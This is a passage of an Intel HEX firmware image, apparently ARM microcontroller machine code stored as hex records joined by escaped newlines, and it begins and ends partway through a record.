6F0300042F002012\n:1054C00004E0030064D1020010B5084C084A06212C\n:1054D000200002F07DFB074A0749200013F0F2FF8D\n:1054E00000221E21054813F077F910BD702A002014\n:1054F00040E1020000000020897B0100E82A002032\n:1055000070B50500140011F07FFF024B2560636049\n:1055100070BDC046D173020010B50C007F2906D8BB\n:10552000012111F0B1FF002800D0047010BD224B02\n:10553000994210D8022111F0A7FF0028F6D040238D\n:10554000A2095B42134303703F232340802464423B\n:105550001C434470EAE7194B994214D8032111F017\n:1055600093FF0028E2D02023220B5B4213433F210C\n:1055700080220370A30952420B400C401343224384\n:1055800043708270D2E7042111F07EFF0028CDD055\n:105590001023A20C5B4213433F2103708023220B94\n:1055A0005B420A401A434270A2090A400C401A4367\n:1055B0001C438270C470B9E7FF070000FFFF0000C2\n:1055C00007B5034B009068460193F2F777FA07BDE1\n:1055D000D1730200074A03005069002806D04268D0\n:1055E0009A4204D89B1A04339B00185870470068ED\n:1055F000F3E7C046842E002070B5144D04006B699B\n:105600009868DB68834215D30230C0000CF0D8FCE8\n:105610006B69002803D198684000EBF71DFE5A68BB\n:10562000D96803609B6852185B0083600023426066\n:10563000C36068616A69D3685068591C04339B0071\n:105640000138D16040189C5070BDC046842E0020A7\n:10565000074B4118884204D3D8B2002800D101304A\n:1056600070475A01D318027801305340F2E7C04620\n:1056700005150000034B044A5A6100229C331A604E\n:105680007047C046842E002058E10200F0B585B076\n:1056900001900E00FFF7DCFF144B02905C69002CB8\n:1056A00001D120001EE0270010373D00E3689B0079\n:1056B000FB180393039B9D4201D32468EFE72868FE\n:1056C000029A037893420FD14378B3420CD102304F\n:1056D0003200019913F051FF002805D1ED1B6068DD\n:1056E000AD10281805B0F0BD0435E3E7842E002086\n:1056F000F0B585B003900191FFF7C8FF002857D19E\n:10570000304D019B9C35DC1C2B68002B17D02D4F96\n:105710002C4EA437A0363A683168A2188A422BD999\n:105720000200611818000CF069FC029000281DD1DD\n:105730000200396828680CF061FC029B2B6026008F\n:10574000802C00D2802630000CF03AFC1D4D2F003A\n:105750009C37386000282DD120000CF031FC260049\n:105760003860002826D12000EBF776FD33681B193E\n:1057700033602B68002BE2D0124A1249A43213681E\n:105780009C310D68E41801990398ED181460FFF737\n:105790005FFF019B28701A006B70A81C039913F01F\n:1057A000FAFE0022019B2800EB189A70FFF724FFF5\n:1057B00005B0F0BD2B00A0331E600023A4352B6084\n:1057C000DAE7C046842E0020F7B51D00160000233E\n:1057D000070003600B6033602B60174B00915C691E\n:1057E000002C02D0154B9C4204D133682A68D31890\n:1057F0002B60F7BD3B6801333B60E268009B944639\n:105800001B68009A0193634413602200E36810321E\n:105810009B00D3189A4207D32000FEF75BF92B6850\n:10582000246818182860DBE702CA3068497803301A\n:1058300009183160EEE7C046842E002058E10200CE\n:105840000C4B70B55C69002C02D00B4B9C4200D114\n:1058500070BD2600E36810369D007519AE4201D375\n:105860002468F0E704CE0549023205480DF0ADFB8F\n:10587000F4E7C046842E002058E10200656F030063\n:1058800034B7020010B512F042F9014810BDC0460D\n:1058900024DD020010B5C30708D483070ED10368C6\n:1058A000094A934202D0094A934207D1F7F78AF88E\n:1058B000002801DD11F0CDFE054810BDF7F7E8F82E\n:1058C00006F000F9F4E7C04604C60200BCAD0200D1\n:1058D00024DD020001220B4B10B51A600A4A516800\n:1058E0000029FCD000215160A1220131D2009A5838\n:1058F00059600323D0171840801880100DF0BEF8AF\n:1059000010BDC04600C00040FCC0004010B50028DB\n:1059100004D1044801F0C6F8034810BD0868F7F741\n:1059200051F8F7E7E703000024DD02000048704764\n:1059300010EF020010B50400034B0360403012F07A\n:10594000E9F8200010BDC04670EF020010B50F4C02\n:10595000200013F0C9FA002808D0200013F096FAAE\n:105960000B4B1B68984202D1EEF7C4FD10BD3F21DE\n:10597000084A138801330B40074909888B42F5D048\n:105980001188064C13806054F0E7C046002B0020BD\n:10599000802E0020C82D0020CA2D00200C2E0020B3\n:1059A000002210B5044B05491A80054B05481A80A2\n:1059B00013F09FFA10BDC046C82D00204D590100BC\n:1059C000CA2D0020002B0020034B1888034B1B8896\n:1059D000C01A431E98417047CA2D0020C82D0020D0\n:1059E000084A094B10881988884201D130BFF9E76D\n:1059F00013880649C85C3F21138801330B4013808C\n:105A00007047C046CA2D0020C82D00200C2E002053\n:105A100070B504004518AC4205D02178024813F057\n:105A200039FA0134F7E770BD002B002070B504008F\n:105A30004518AC420DD02378064E0A2B03D10D2118\n:105A4000300013F027FA2178300013F023FA0134E4\n:105A5000EFE770BD002B002070B504000825002C76\n:105A600008D02100082C00D929000348641AFFF748\n:105A7000CFFFF4E770BDC046DD8B030070B50500B5\n:105A800004000826002C08D02100082C00D9310081\n:105A90000448641AFFF7BCFFF4E72800FFF7DCFFB7\n:105AA00070BDC046D48B030010B5010001480EF054\n:105AB000B6F910BD24000020142313B5064C009342\n:105AC00019221821200002F0EFFB044A04492000AB\n:105AD00013F0F8FC13BDC046002B0020000000208E\n:105AE00035590100014B58687047C046842E00208C\n:105AF000014B18687047C046842E0020F0B5194E3F\n:105B000087B03368050000200C0001930FF0A6FA5F\n:105B10003060009020680CF04AF9019B0700336068\n:105B2000114E022D03D0A068F6F768FE0600210092\n:105B300063680831A81E0393FCF7DCFF009B049008\n:105B40000593002203AB03213000EAF783FE074BE5\n:105B500004009F4203D0010038000CF0A4F920009B\n:105B600007B0F0BD842E0020B8B8020024DD02008A\n:105B70001FB56946EAF764FF04002000EAF7C2FF98\n:105B8000002802D1044804B010BDF7F759F80028E6\n:105B9000F3D10248F7E7C046B4AD0200ACAD020055\n:105BA0001FB56946EAF74CFF04002000EAF7AAFF98\n:105BB000002802D1044804B010BDF7F741F80028CE\n:105BC000F3D00248F7E7C046ACAD0200B4AD020026\n:105BD00010B5F6F793FE034B002800D1024B1800D6\n:105BE00010BDC046B4AD0200ACAD020037B5F6F74B\n:105BF000E9FE01AB7F2806D80121187001221800A8\n:105C0000F3F770F93EBD1E49820988420BD8402146\n:105C100049420A431A703F2202408020404210430A\n:105C200058704231EAE7174C010BA0420ED82024ED\n:105C300064422143197080215F3449422240204050\n:105C40000A43014399705A700321D7E70E4CA042D2\n:105C500012D81024850C64422C431C703F258024EC\n:105C6000294064422A40284021432243204359705E\n:105C70009A70D8700421C1E70448EBF703FBC046D3\n:105C8000FF070000FFFF0000FFFF1000E68B03008E\n:105C9000F0B589B0019204000D0000222D49019851\n:105CA000029300F085FD061E00D04668012C15D039\n:105CB000A4002B19002401930094019B9D4223D042\n:105CC0002F68002E04D0390030000CF077F8070060\n:105CD000002C36D12C6800970435EEE704A928681B\n:105CE000EAF7AEFE0024039000940398EAF70AFF57\n:105CF000051E0CD1002C07D122001749019800F095\n:105D000057FD00281AD04468200009B0F0BD2F00CC\n:105D1000002E04D0290030000CF050F80700002CB1\n:105D200009D0009A39000298EBF7B4FA0B4B98426D\n:105D300001D02500009F2C000097D6E70848EBF71C\n:105D4000A1FA009A39000298EBF7A4FA034B9842A3\n:105D5000C2D1BFE7561300002E110000B4AD0200FF\n:105D6000078C030037B501A90500F3F70FFD1E4BA3\n:105D700004002B40062B05D0AB072AD11B4B2A6809\n:105D80009A4226D10199200011F0CAFA0190012807\n:105D900022D1207843B2002B04DB012023785B0062\n:105DA00018433EBD7F23013418403F3B034208D1D6\n:105DB0003F22237819009143802905D00CF05EFE24\n:105DC000EFE798435B10F1E780011340013418437B\n:105DD000EFE7019B012BE0D0019A05490548ECF75C\n:105DE0001FFCF1F75DFBC046070080FF40BB0200CF\n:105DF000208C030058A60200F0B5140087B0029072\n:105E0000039100222349200000F0D2FC002205006B\n:105E10002149200000F0CCFC0123040004930593E9\n:105E20001E4F002D07D068681D4B984203D004A96F\n:105E3000F3F7ACFC07001B4E002C07D06068184B32\n:105E4000984203D005A9F3F7A1FC06000024029BA9\n:105E5000154D9C420AD10023059A0193009331000D\n:105E60002800F1F7B9FC0E4807B0F0BD002C07D0B0\n:105E70000023049A0193009339002800F1F7ACFC49\n:105E80000399A3000022C9582800F6F7CFFC01347B\n:105E9000DDE7C0468E15000096110000E15A0300B0\n:105EA00024DD02008E6F030034B7020010B5040039\n:105EB00086B06A4602A81021FFF722FB01222100CA\n:105EC0006846F6F7B3FC02A90248F2F7D5FF06B020\n:105ED00010BDC04640BB020070B50C68E30726D475\n:105EE000A30703D1174B22689A4220D0012820D95A\n:105EF0004868F6F767FD06002000F6F7C9FD051CA7\n:105F0000300005F0FFFD011C0F4808F0FDF9011CF1\n:105F1000041C281C05F006FB07F0B8FF211C05F047\n:105F20002BF9032302249843084B0443E418200070\n:105F300070BD2000F6F7ACFD07F0A8FFF9F75CFA9A\n:105F40000400F4E704C60200000020410000808045\n:105F500030B50B0085B01400012802D90948EBF7D1\n:105F600055FB09480121C2680192019D0022A84702\n:105F70002200039003A90120F5F706FC039805B061\n:105F800030BDC046748C0300FCC1020013B5040090\n:105F90000800F2F7C9FF6A4601002000EAF7D2FCC8\n:105FA000009B0248002B00D1014816BDB4AD020091\n:105FB000ACAD020037B50024022800D98C684868CF\n:105FC0000D68F2F7B1FF0A4B0100002C00D0094B1D\n:105FD0006A4628009847009B002B07D001991C00B7\n:105FE000002903D01800F1F77BFA040020003EBD21\n:105FF000A90900004509000070B50400080015005B\n:10600000F2F792FF2A0001002000EAF7F5FC0148B0\n:1060100070BDC04624DD0200F8B503260500070068\n:106020003540022D16D10E4B0340062B12D0FF2314\n:10603000DB05C418B443201C002104F0F3FD002844\n:1060400006D080231B06E418B443064B2C43E71804\n:106050003800F8BD3800EFF707FE0700F8E7C04644\n:10606000070080FF000080807FB50B00012803D16E\n:1060700000211868F6F7F4FB102102A811F0C4F90A\n:106080000C4902A80CF019F8032804D10A480BF0B7\n:10609000C3FFF1F705FA039B0193002B03D10428FA\n:1060A00001D10648F3E702A90548F2F7E5FE07B07B\n:1060B00000BDC046C3120300C4A3020020A2020018\n:1060C00040BB020010B5EAF7F5FC002804D10348F4\n:1060D0000BF0A2FFF1F7E4F910BDC046A4A5020041\n:1060E00010B5022803D0054905480BF0ABFE4A68FD\n:1060F0000B200968EBF7CEF810BDC0465A8C0300A0\n:10610000B4A402007FB50D4D0400A84213D00C4E7C\n:10611000012201003000F6F789FB0A4930000CF03B\n:1061200096FE04230293084B0394DB6902AA032121\n:10613000064801939847280004B070BD24DD020092\n:1061400034B702008E6F03006CB20200A4F00200AC\n:10615000F8B50E0000280FD10400284B1D6800215F\n:1061600008000DF065FB00270600BD4232D1002576\n:10617000AC423ED13000F8BD0868830714D10368F3\n:106180001F4A93420DD10CF00BFC05003068F6F766\n:1061900035FB1C4BC26800249A42E0D134680434B9\n:1061A000DDE7194A934201D0F6F728FB856B002DF5\n:1061B000ECD0164B2A689A42E8D00025E6E7EA6858\n:1061C000FB009958002904D0042902D03000F5F7CB\n:1061D0007DFA0137AB68BB42F1D8C8E7A268EB0093\n:1061E0009958002904D0042902D03000F5F76EFA3E\n:1061F00001356368AB42F1D8BCE7C046842E00206D\n:106200006CB20200A1850000B8B8020098CC020070\n:10621000F8B5050010200C001F0016000BF0C3FE9F\n:10622000054B44608460A4190760C4606B60034B35\n:106230002860AB60F8BDC046277702003D770200BA\n:106240000021F0B5070087B0816411F0DBFAFB692B\n:106250003C6A7D6ABB63FC63002D07DA3B000622C3\n:1062600040331A7001357D6207B0F0BD002D05D0B6\n:106270003B00052240331A70013DF4E7002835D079\n:10628000BB6A002B32D13900043340310B703A6BBA\n:10629000B04B786BD3185B001B5A013C9C42E3D097\n:1062A00019D9F96A8A4207D3083149000BF099FEDF\n:1062B000FB6A78630833FB623B6B5A1C3A637A6B68\n:1062C0005B009C527B6A01337B62CDE7013B3B6301\n:1062D0007B6A013B7B623B6B9E4A9A185200125AC2\n:1062E0009442F3D3C0D002230B70BDE73C69631C1A\n:1062F00003D1002240373A70B6E7380011F02AFA8D\n:106300000490002800D12BE13B004033059300238B\n:10631000059A13703B69752B5AD0622B4ED17B695D\n:10632000722B5AD1049B022401930B233900403174\n:106330000A78002A58D10B70002C07D0380011F0D1\n:1063400031FA022C02D1380011F02CFA27223B69D5\n:106350000292222B00D10293380011F023FA01237C\n:10636000029A03933B6993420BD113007A699342DB\n:1063700007D1380011F016FA380011F013FA032390\n:10638000039300263C69631C00D1D9E0039B012BD9\n:1063900002D10A2C00D1D3E0039B9E4227D33800C0\n:1063A0003100443011F0D4F80121380011F02AFAFC\n:1063B000380011F0CFF90028ACD155E7722B0FD17E\n:1063C0007B69622BAED0049B012401930A23ADE7C5\n:1063D00001240A2300220192A8E701240B23F9E7F4\n:1063E00000240A230194A1E79A42A5D03CE7029B2E\n:1063F000A34209D13800190044300136FFF78CF868\n:10640000380011F0CFF9BDE75C2C00D08EE03800E9\n:1064100011F0C8F9019B3D69002B06D038005C21C2\n:106420004430FFF779F82C004EE0622D70D022D86E\n:106430004E2D5BD00CD8222D1BD0272D19D0002635\n:106440000A2DDDD02C00303C072CE7D8032557E07F\n:106450005C2D0ED00724612D3CD0552DF2D13B0090\n:1064600040331B780B2B19D138005C214430FFF7E7\n:1064700053F82C002EE0742D4CD007D86E2D4BD045\n:10648000722D4BD0662DDDD10C2423E0762D47D024\n:10649000E5D30226782DD5D1002413E00426752DEE\n:1064A000FAD0B619F8E7380011F07CF93D692800F8\n:1064B000FEF752FE002800D16AE1280010F052FFDA\n:1064C00024012418013EEED20026631C98D0224BF2\n:1064D0009C4231D83B0040331B780A2B22D1380034\n:1064E00021004430FFF718F8002689E71B48EBF736\n:1064F000BBF8380011F056F93B69E400303B1C1939\n:106500007B69303B072BDFD8013D002DF1D1DBE764\n:106510000824DFE70924DDE70A24DBE70D24D9E7B7\n:106520000B24D7E7FF2C07D80B2B05D13800E1B29D\n:10653000443010F0C9FFD7E70122059B1A70D3E75A\n:10654000039B9E4200D32AE73B00032240331A708C\n:1065500025E7C046FFFFFF7FFFFF1000E08C030030\n:106560002000FEF7E1FD041E386903D15F2801D049\n:106570007F2842D93D0007233C0040352B7044342E\n:10658000C1B2200010F0A0FF380011F00BF93869FB\n:10659000431C1BD1200010F085FF002406007F4F14\n:1065A000A300F958300013F05CF800281ED10D3418\n:1065B000E4B22C70102C00D056E6794BA8331A6840\n:1065C0000F23002A00D0023B2B704DE6FEF7ACFDF6\n:1065D000002808D138695F2805D07F2803D8FEF746\n:1065E000AFFD0028D6D03B69D9B2CAE7002800DA4F\n:1065F0003AE60134222CD3D136E6FEF7A1FD00287D\n:106600000FD03E00396940362E2916D10923337048\n:106610003D0044352800FEF77FFF380011F0C2F836\n:1066200032E03B692E2B04D17869FEF789FD002802\n:10663000E7D100255B4C02234BE00823337030295F\n:10664000E6D17A6918331343623B162B03D8564DB3\n:10665000DD4001231D4001242C40D9E7002C17D137\n:10666000030020229343452B12D13C3B337065211C\n:106670002800FEF751FF380011F094F83969022222\n:106680000B002B3B9343C5D03869431CE6D1EBE5A7\n:10669000FEF74AFD002805D039692E290BD10923C0\n:1066A0003370B7E73869FEF74BFD0028F4D13B693A\n:1066B0002E2BF1D0D8E50B00202293434A2BA9D1F1\n:1066C000EDE7633E9E43F6B272425641A41901358E\n:1066D00001342678002E02D03A69B242F1D1380056\n:1066E00011F060F8002E02D14037012203E6212E7E\n:1066F00008D13B693D2BF7D1380011F053F84037F2\n:106700004122F8E52E2E12D13C003B6940342E2B5D\n:1067100002D17B692E2B02D04A232370A4E53800D6\n:1067200011F040F8380011F03DF80C23F5E72A008D\n:106730000134267802213300633B8B43DBB2002B0C\n:106740000ED1637839690135994207D1380011F0CB\n:1067500029F82A00652E03D00234EAE7632EFBD124\n:10676000124B9B5C3A004032137019000422914393\n:10677000422901D0442B03D1BB6A0133BB6273E5CC\n:10678000432902D0452B00D06EE5BB6A013BF5E7FB\n:106790000122059B04001A709CE6C0468CF302009F\n:1067A000842E00209F8C030001204000518D0300A7\n:1067B000F0B587B00092027804000F00930702D56D\n:1067C000009B002B11D1D307DB0F029310D0794B24\n:1067D0003B40062B0CD003233B4003D1764938685D\n:1067E000884204D0009B012B02D0002552E0029386\n:1067F00053075CD52368A568DE08F600AE19B542DC\n:106800002DD3009B012BF0D12368D90863689942EE\n:1068100010D104316160A068C9000BF0E2FB23686D\n:106820006268DB08D21ADB00A060D200C018002129\n:1068300012F0CDFE07212368DD086A1CD2000B4050\n:1068400013432360A368ED005D195A4B2F601F406E\n:10685000062F1FD001222378934323701AE0286863\n:10686000B8421AD1009B022B14D129002368721B55\n:10687000D210083B013A6F6828002360D20008312B\n:1068800012F092FE2368DD08A368ED005D19002375\n:106890006F602B60280007B0F0BD029B002B04D175\n:1068A0003900F6F73DF80028DCD10835A7E7636822\n:1068B000002B05D1009B012B97D1200000F07EF822\n:1068C0003C4B3B400593062B28D1F80810F08CFE7A\n:1068D00004906168049804F065F800260391039B16\n:1068E0000193019BDD00A3685D19286800281CD175\n:1068F000009B012B00D078E707212368DA080132DA\n:10690000D2000B4013432360002E00D0350000233B\n:106910006B60059B2F60062B9CD1BBE739000220E2\n:10692000E9F726FF43100493D3E704281ED1002E75\n:1069300000D12E0001986168013004F033F8039B08\n:1069400001918B42CDD1009B012B00D04DE7002E51\n:106950002CD0236835000833236000237360059B27\n:106960003760062B96D02378009A75E7B84212D18B\n:10697000009B022B00D08DE723680198083B236021\n:106980000130616804F00EF8A368C900CB58002BF1\n:106990000AD12B607EE7029B002BCBD13900F5F7A3\n:1069A000BFFF0028C6D0E3E70423F2E7200000F091\n:1069B00005F88EE7070080FF40BB0200F7B543688B\n:1069C000040001935A1C002317495800455AAA4253\n:1069D00006D90133222BF8D15508AD18213B1D43B0\n:1069E000E800A7680BF0F1FA0622236865601A40F8\n:1069F00001233D00002613432360A060019B9E42BB\n:106A000003D138000BF0FEFAF7BD2968002907D042\n:106A1000042905D001222000FFF7CAFE6B684360FD\n:106A200001360835EAE7C04642040300F8B5050020\n:106A30000023046886681449621C5800405A824248\n:106A400006D90133222BF8D15008821801201043B7\n:106A5000002328606B6080000BF0B7FA3700A400B9\n:106A6000A860A419A74203D130000BF0CBFAF8BDFF\n:106A70003968002905D0042903D00122280010F02C\n:106A800087FF0437EEE7C04642040300BFF34F8F91\n:106A9000024B034ADA60BFF34F8FFEE700ED00E0E0\n:106AA0000400FA05F0B595B01822002106000EA8E2\n:106AB00012F08DFD13210EA812F0F1FA03210EA899\n:106AC00012F0A6FB464B1B68002B00D10133DBB252\n:106AD0000093444A0123002109A803F0F5F9424B31\n:106AE0009E4200D9002672B6404B64211C68404B80\n:106AF0003000059303F05AFF052510306843201835\n:106B000006900A21300003F051FF0A2104F034F806\n:106B1000103169436118079130000A2104F02CF804\n:106B200010314D438026641908940024B601009B5F\n:106B3000002B52D004AD0027032C02D18026002464\n:106B4000B6016B682B4A02936300D31800220192AE\n:106B500058780299095C039119788C461021604697\n:106B600001410398014204D0012090400199014362\n:106B7000019101320633092AEAD1019B2A68D943DF\n:106B80001D4B09011940029B934224D1312F22DC75\n:106B9000002109A812F007FCFA23139A0F99DB00D1\n:106BA0001068014219D0013B002BF9D1FA230134BE\n:106BB00001377600E4B25B009F42BDD1043508ABDB\n:106BC000AB42B8D1064B1B68002BB0D0009B013BF9\n:106BD000DBB20093ABE73143DBE7FFF757FFC0467B\n:106BE000642B0020F0FF0000E70300006800002095\n:106BF000B18D03007B8D0300F01F0000F0B500286D\n:106C00001BDD0F4C421E276811000020BE09FB0F40\n:106C100073407B403E097D087340BF087B406B405A\n:106C2000DB072B4301251F0040002B401843E940A0\n:106C3000ECD18242E8D32760F0BD0248FCE7C046B1\n:106C4000602B002017FCFFFF0023F0B50121A126D7\n:106C500004241F00094D0A480A4A2B60F60001600F\n:106C6000576051680029FCD081591B02013C0B433D\n:106C7000002CF5D12B6001234360F0BD602B002078\n:106C800000D00040FCD00040014B18607047C04667\n:106C9000602B0020020010B5014B12CB12C210BDB8\n:106CA000682B0020034B1A68034B1A607E225A603F\n:106CB0007047C04668000020682B002070B5051E94\n:106CC00014DD0B4E0B4C3368002B02D0206812F001\n:106CD00047F9FA2120680024074B89008361C462C8\n:106CE0006943356012F044F9200070BD0348FCE7A9\n:106CF000702B0020A02B0020A56D010017FCFFFFCA\n:106D0000F8B5114F06003D68002D0AD1302012F071\n:106D1000C7FB040002F076FD0C4BA5612360E56221\n:106D20003C600B4D2B68002B09D1102012F0B8FBF2\n:106D3000040012F06AF920002C6012F040F93000D3\n:106D4000FFF7BCFFF8BDC046A02B0020F8F70200FB\n:106D50009C2B0020014B18687047C046702B002008\n:106D600070B50D4C2368002B03D00C4B1B68002B17\n:106D700002D10620FFF7C4FF206812F037F90200A5\n:106D80000749C3170D684E685219734120680A609D\n:106D90004B6012F031F970BD9C2B0020A02B00201D\n:106DA0001801002010B5FFF7DBFF0024054BA200FF\n:106DB000D058002802D003681B68984701340A2C79\n:106DC000F4D110BD742B002010B5FFF7C9FFFA22D3\n:106DD000034B920018685968002303F04BFF10BD65\n:106DE0001801002010B5FFF7BBFF024B1868596867\n:106DF00010BDC046180100200B4B10B51B680400E5\n:106E0000002B03D0094B1B68002B02D10620FFF793\n:106E100077FF0023064A99008858002801D00133E3\n:106E2000F9E78C5010BDC0469C2B0020A02B002001\n:106E3000742B0020002310B5044A99008C5884421A\n:106E400001D00133F9E70020885010BD742B0020D9\n:106E500010B50400002902D00B78002B03D1034B9E\n:106E60002360200010BD10F05CFEFAE720F4020061\n:106E7000014B03607047C04620F4020010B505487E\n:106E8000054C206010F0C7FE044A0549200012F0AE\n:106E900019FB10BD20F40200A42B002000000020EC\n:106EA000157B0200084B73B51C680500002C0AD046\n:106EB0000100266808310822684612F06CFB0CCDF0\n:106EC00031682000884773BDA82B002010B5054C01\n:106ED0000121200010F093FE034A0449200012F023\n:106EE000F1FA10BDAC2B002000000020BB7B02009B\n:106EF000074A10B50123904208D0984202D00023DF\n:106F0000C20703D41E20FFF7CDFD0023180010BDDB\n:106F1000FFFF00000048704716FCFFFF10B532204D\n:106F2000FFF7C0FD004810BD16FCFFFF8280142251\n:106F3000002310B541620F4C0100083404600E2498\n:106F40000281123A837182720363838636310A7832\n:106F5000C360A243036143618361C36103620A703A\n:106F6000021DD38701224287034AC26302004032D6\n:106F7000137010BD40F4020001000100F0B5524D45\n:106F800097B02B6806000593002B00D088E006AC74\n:106F90000B331C222121200001F0DEF80EAF0B2361\n:106FA0001D2222210AA801F0D7F80B231B2223213E\n:106FB000380001F0D1F8082012F072FA0122059B86\n:106FC0001100049011F0FAFD3A21300011F0FDFC9F\n:106FD00000281CD0A38812AFBB80A379A268BB7124\n:106FE0003A4B5C2012930E23E3561492A289BB7392\n:106FF000BA8112F055FA04230193363300933A0014\n:10700000049B3100040001F0FDFC2C6048E03221BB\n:10701000300011F00AFD00281BD0A38812AFBB80FE\n:10702000A379A268BB71294B5C2012930E23E3560F\n:107030001492A289BB73BA8112F032FA042301932D\n:107040002E3300933A00049B3100040001F06CFEE3\n:10705000DBE73C21300011F0A0FC00282BD0BB88DE\n:1070600012ACA380BB79BA68A371184BA420129309\n:107070000E23FB561492BA89A373A28112F010FA60\n:10708000052307000293013B01933833009322004C\n:10709000049B310001F0D6FB0D4B2F6044371F607D\n:1070A0000B4B094C1868002802D0216810F056FFDD\n:1070B000206817B0F0BD442012F0F2F904220499C0\n:1070C0000400FFF733FFA0E7B02B002030F40200EC\n:1070D000B42B0020F0B56149C56885B08D4254DA03\n:1070E0000300022236331B78134059D104698C42C5\n:1070F00064DA020036321278520768D4426901928B\n:107100000200019E40328E426FDA0100363109786A\n:10711000090774D4002B7DD113780293002B16D06D\n:1071200006000127011DCB8F363601339BB2CB877A\n:1071300003963678BC46374000D188E01D2B06D92F\n:1071400063469E43039B1E700023CB87137010F091\n:10715000B1FD434A0723904276D94249043B8D4210\n:1071600072DBC8220133920095426DDC023B8C42F7\n:107170006ADB013B944267DC01980433884263DB9D\n:107180000023904260DD06335EE0C82200235200F7\n:107190009542ABDD030036331A7800239207A5D45D\n:1071A000012306001F00363632785408A7433C00FE\n:1071B00002279C40BA432243327097E7C82252000C\n:1071C00094429BDD020036321278520796D40600B4\n:1071D0000122363633789F08BA439700042293433E\n:1071E0001A003A433270012388E7C821019E490002\n:1071F0008E428FDD01003631097809078AD40100FB\n:10720000012636310B78DF08BE430827F600BB4362\n:1072100033430B701378032B00D97DE70133DBB2C6\n:107220001370012B03D10021031DD98774E7042BB0\n:1072300000D071E7020036321178033B0B43137024\n:1072400000230430C3870B33180005B0F0BD092BB1\n:1072500000D87CE7029BCF87013B77E770FEFFFFFA\n:10726000FF700200E0FCFFFFF0B5040087B0C068CB\n:1072700006F086FA060020690F0006F081FA6369BD\n:10728000029003911800009306F07AFA0200019030\n:10729000802000060B1805913000390006F020FF11\n:1072A00006F0FCFAE062051C06F0A4FE0490281C1F\n:1072B00006F0FEFC051C049806F09EFA32003B0026\n:1072C00005F01AFC0600281C0F0006F095FA019A3A\n:1072D000059B05F011FC02000B003000390005F0A1\n:1072E0007DFE0B0002000298039906F0F9FE06F0FD\n:1072F000D5FA009B051C002B06DCA0620223A279B4\n:107300001343A37107B0F0BD002103F09FFC0B4EA7\n:10731000002811D10A4F281C06F06EFA02000B005B\n:107320003000390005F05AFE32003B0004F074FCD6\n:1073300006F0B4FAA062E1E7024FECE7EA2E44540B\n:10734000FB21F9BFFB21F93F0048704716FCFFFF06\n:1073500010B53320FFF7A6FB004810BD16FCFFFF59\n:10736000002310B50400838083710D482164083028\n:1073700020608020C000A061E0612062E360200006\n:10738000236163616362A362E36223636363A36354\n:10739000E3636364110010F098FD200010BDC04647\n:1073A00074F40200F0B5514D97B02B6806000593B8\n:1073B000002B00D088E00B331C22212106A80AAC48\n:1073C00000F0CAFE0EAF0B231D222221200000F088\n:1073D000C3FE0B231B222321380000F0BDFE082032\n:1073E00012F05EF80122059B1100049011F0E6FBFB\n:1073F0001D21300011F001FB00281CD0A38812AF22\n:10740000BB80A379A268BB71394B602012930E2315\n:10741000E3561492A289BB73BA8112F041F8052396\n:107420000193183300933A00049B3100040001F0EB\n:10743000B1FB2C6048E03C21300011F00EFB00282D\n:107440001BD0A38812AFBB80A379A268BB71284B65\n:10745000602012930E23E3561492A289BB73BA8163\n:1074600012F01EF805230193373300933A00049B72\n:107470003100040001F0FAFCDBE73C21300011F0A0\n:107480008CFA002829D0BB8812ACA380BB79BA68DB\n:10749000A371174BA42012930E23FB561492BA89A2\n:1074A000A373A28111F0FCFF052307000293013BA7\n:1074B0000193383300932200049B310001F0C2F99C\n:1074C0000C4B1F6044372F600A4B084A1B6810683A\n:1074D000002B00D0436417B0F0BD482011F0E0FF4E\n:1074E000052204990400FFF73BFFA2E7B42B00201C\n:1074F00030F40200B02B002030B50425837985B02C\n:1075000004002B421BD10368DB699847200010F070\n:1075100016FDA379A1882B43A3710322012368469A\n:1075200010F03BFBA0790300AB43A371FB23800762\n:107530009B00C0171840034BC01805B030BD02486F\n:10754000FBE7C04614FCFFFF15FCFFFFF0B504008D\n:1075500089B0406C10F067FC071C606C10F056FCA2\n:1075600002222100061C05A810F0FAFC069804F07F\n:10757000C9FA051C079804F0C5FA041C381C06F06B\n:1075800039FD0390381C06F093FB0190301C06F087\n:1075900031FD0290301C06F08BFB0399071C201C68\n:1075A00003F0C0FF0199061C281C03F0BBFF011C5F\n:1075B000301C04F0CDF8061C059804F0A3FA391C21\n:1075C00003F0B0FF0299071C281C03F0ABFF0399DE\n:1075D00003F0A8FF011C381C03F056FC0299051C9F\n:1075E000201C03F09FFF019903F09CFF011C281C45\n:1075F00003F04AFC311C06F0F5FD0F4903F092FF41\n:1076000006F0FAF80D4A0E4B04F07CFE06F046F93F\n:10761000011C0C4804F09CF80021041C03F002FB40\n:10762000002804D0201C044903F02EFC041C201C5C\n:1076300004F048FA09B0F0BD0000B443EA2E445407\n:10764000FB2119400000B4421FB50122010001A82E\n:1076500010F086FC029804F055FA041C019804F01E\n:1076600051FA211C06F0BEFD0D4903F05BFF06F048\n:10767000C3F80C4A0C4B04F045FE06F00FF900214C\n:10768000041C03F0CFFA002804D0201C074903F0A3\n:10769000FBFB041C201C04F015FA04B010BDC0460E\n:1076A00000003443EA2E4454FB2109400000B44357\n:1076B00010B5837904005A070DD49B0701D4FFF756\n:1076C0001BFF636C2000002B02D0FFF73FFF10BDB3\n:1076D000FFF7BAFFFBE70148F9E7C04615FCFFFFDB\n:1076E00082B0F0B50400EDB064207393729211F093\n:1076F00088FD052210A8110011F0D4FA984911A8AC\n:1077000001F0CCFD1925002221AB013D1A605A6021\n:107710009A600C33002DF8D11922290013A811F01A\n:1077200056FFA06811F005F8FF210A90A06800F04C\n:10773000B7FB8C4FA06800F043FB049507950995B3\n:10774000884B9F4203D0884B9F4200DBFDE0A0683E\n:1077500011F03DF8A56885491AA8FFF779FB782252\n:107760001AA9280000F072FB1AA810F0D3F9002320\n:107770007C4F04930326099B6068013333400993CF\n:1077800010F02FFB0500606810F032FB0022784BF0\n:1077900005929D420FDB013205922A00C8320ADBB6\n:1077A000AA22042192000591954204DC0596C82D79\n:1077B00001DC0222059200220692984210DB01238E\n:1077C00006930300C8330BDBAA2304329B00069206\n:1077D000984205DC03230693C82801DC013B06938D\n:1077E00010A811F056FA634B00251E00089313AB46\n:1077F000EB5C012B05D172783178FE3310A801F0D3\n:10780000DFFC01350236192DF1D16B4618229A5E44\n:107810006B4610A81421595E099B01F0D1FC002F82\n:1078200002DB049B0F2B07D90023A0680093743060\n:107830001A0010A911F03DFA0026089B059A1B7842\n:10784000934228D1089B069A5B78934223D12C233C\n:1078500008AAD218935D012B1DD00C2207990CADFC\n:107860004A4328000B922168002210F079FB21A9DD\n:107870008C460B9A6244130007CD07C32C2308AA39\n:10788000D31801229A55079B0133DBB20793049B5F\n:107890000133DBB20493089B013602330893192E9F\